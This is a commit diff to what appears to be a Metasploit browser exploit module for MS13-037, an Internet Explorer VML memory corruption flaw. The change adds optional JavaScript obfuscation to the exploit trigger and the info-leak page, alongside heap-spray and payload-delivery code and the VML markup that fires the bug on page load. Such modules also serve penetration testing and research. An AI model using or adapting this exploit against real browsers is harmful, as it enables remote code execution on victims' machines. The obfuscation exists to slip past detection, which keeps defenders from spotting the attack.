Suport js obfuscation for the trigger

jvazquez-r7 · jvazquez-r7 · commit a1c7961cbc1a · 2013-06-12T08:06:12.000-05:00
diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb
@@ -201,19 +201,7 @@ def load_exploit_html(my_target, cli)
 		p  = get_payload(my_target, cli)
 		js = ie_heap_spray(my_target, p)
 
-		html = %Q|
-<html>
-<head>
-<script>
-#{js}
-</script>
-<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
-</head>
-<title>
-</title>
-<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
-<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
-<script>
+		js_trigger = %Q|
 var rect_array = new Array()
 var a = new Array()
 
@@ -247,29 +235,47 @@ def load_exploit_html(my_target, cli)
 	location.reload();
 
 }
-</script>
-<body onload="createRects(); exploit();">
-<v:oval>
-<v:stroke id="vml1"/>
-</v:oval>
-</body>
-</html>
 		|
 
-		return html
-	end
+		create_rects_func = "createRects"
+		exploit_func = "exploit"
+
+		if datastore['OBFUSCATE']
+			js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
+			js_trigger.obfuscate
+			create_rects_func = js_trigger.sym("createRects")
+			exploit_func = js_trigger.sym("exploit")
+		end
 
-	def html_info_leak
 		html = %Q|
 <html>
 <head>
+<script>
+#{js}
+</script>
 <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
 </head>
 <title>
 </title>
 <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
 <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
 <script>
+#{js_trigger}
+</script>
+<body onload="#{create_rects_func}(); #{exploit_func}();">
+<v:oval>
+<v:stroke id="vml1"/>
+</v:oval>
+</body>
+</html>
+		|
+
+		return html
+	end
+
+	def html_info_leak
+
+		js_trigger = %Q|
 var rect_array = new Array()
 var a = new Array()
 
@@ -314,8 +320,31 @@ def html_info_leak
 	}
 
 }
+		|
+
+		create_rects_func = "createRects"
+		exploit_func = "exploit"
+
+		if datastore['OBFUSCATE']
+			js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
+			js_trigger.obfuscate
+			create_rects_func = js_trigger.sym("createRects")
+			exploit_func = js_trigger.sym("exploit")
+		end
+
+		html = %Q|
+<html>
+<head>
+<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
+</head>
+<title>
+</title>
+<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
+<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
+<script>
+#{js_trigger}
 </script>
-<body onload="createRects(); exploit();">
+<body onload="#{create_rects_func}(); #{exploit_func}();">
 <v:oval>
 <v:stroke id="vml1"/>
 </v:oval>
